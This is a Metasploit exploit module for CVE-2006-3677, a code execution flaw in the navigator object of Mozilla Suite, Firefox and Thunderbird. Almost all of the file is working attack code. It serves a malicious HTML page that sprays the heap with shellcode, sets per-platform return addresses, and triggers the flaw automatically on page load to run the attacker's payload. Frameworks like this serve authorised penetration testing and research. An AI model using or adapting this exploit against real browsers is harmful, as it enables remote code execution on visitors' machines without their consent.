##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  #include Msf::Exploit::Remote::BrowserAutopwn
  #autopwn_info({
  #  :ua_name    => HttpClients::FF,
  #  :ua_minver  => "1.5.0",
  #  :ua_maxver  => "1.5.1",
  #  :javascript => true,
  #  :rank       => NormalRanking, # reliable memory corruption
  #  :vuln_test  => %Q|
  #    is_vuln = false;
  #    if (navigator.javaEnabled()){
  #      is_vuln = true;
  #    }
  #    |,
  #})

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Mozilla Suite/Firefox Navigator Object Code Execution',
      'Description'    => %q{
          This module exploits a code execution vulnerability in the Mozilla
        Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit
        requires the Java plugin to be installed.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>  ['hdm'],
      'References'     =>
        [
          ['CVE',    '2006-3677'],
          ['OSVDB',  '27559'],
          ['BID',    '19192'],
          ['URL',    'http://www.mozilla.org/security/announce/mfsa2006-45.html']
        ],
      'Payload'        =>
        {
          'Space'    => 512,
          'BadChars' => "",
        },
      'Platform'       => %w{ win linux osx },
      'Targets'        =>
        [
          [ 'Firefox 1.5.0.4 Windows x86',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86,
              'Ret'  => 0x08000800,
              'Fill' => "%u0800",
            }
          ],
          [ 'Firefox 1.5.0.4 Linux x86',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86,
              'Ret'  => -0x58000000,
              'Fill' => "%ua8a8",
            }
          ],
          [ 'Firefox 1.5.0.4 Mac OS X PPC',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_PPC,
              'Ret'  => 0x0c000000,
              'Fill' => "%u0c0c",
            }
          ],
          [ 'Firefox 1.5.0.4 Mac OS X x86',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_X86,
              'Ret'  => 0x1c000000,
              'Fill' => "%u1c1c",
            }
          ],
        ],
      'DisclosureDate' => '2006-07-25'
      ))
  end

  def on_request_uri(cli, request)

    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    print_status("Sending #{self.name}")
    send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })

    # Handle the payload
    handler(cli)
  end

  def generate_html(payload)

    enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    return %Q|
<html><head>
<script>
  function Exploit() {
    if (window.navigator.javaEnabled) {
      var shellcode = unescape("#{enc_code}");
      var b = unescape("#{target['Fill']}");
      while (b.length <= 0x400000) b+=b;

      var c = new Array();
      for (var i =0; i<36; i++) {
        c[i] =
          b.substring(0,  0x100000 - shellcode.length) + shellcode +
          b.substring(0,  0x100000 - shellcode.length) + shellcode +
          b.substring(0,  0x100000 - shellcode.length) + shellcode +
          b.substring(0,  0x100000 - shellcode.length) + shellcode;
      }

      window.navigator = (#{target['Ret']} / 2);
      try {
        java.lang.reflect.Runtime.newInstance(
          java.lang.Class.forName("java.lang.Runtime"), 0
        );
      }catch(e){

      }
    }
  }
</script>
</head><body onload='Exploit()'>Please wait...</body></html>
    |
  end
end
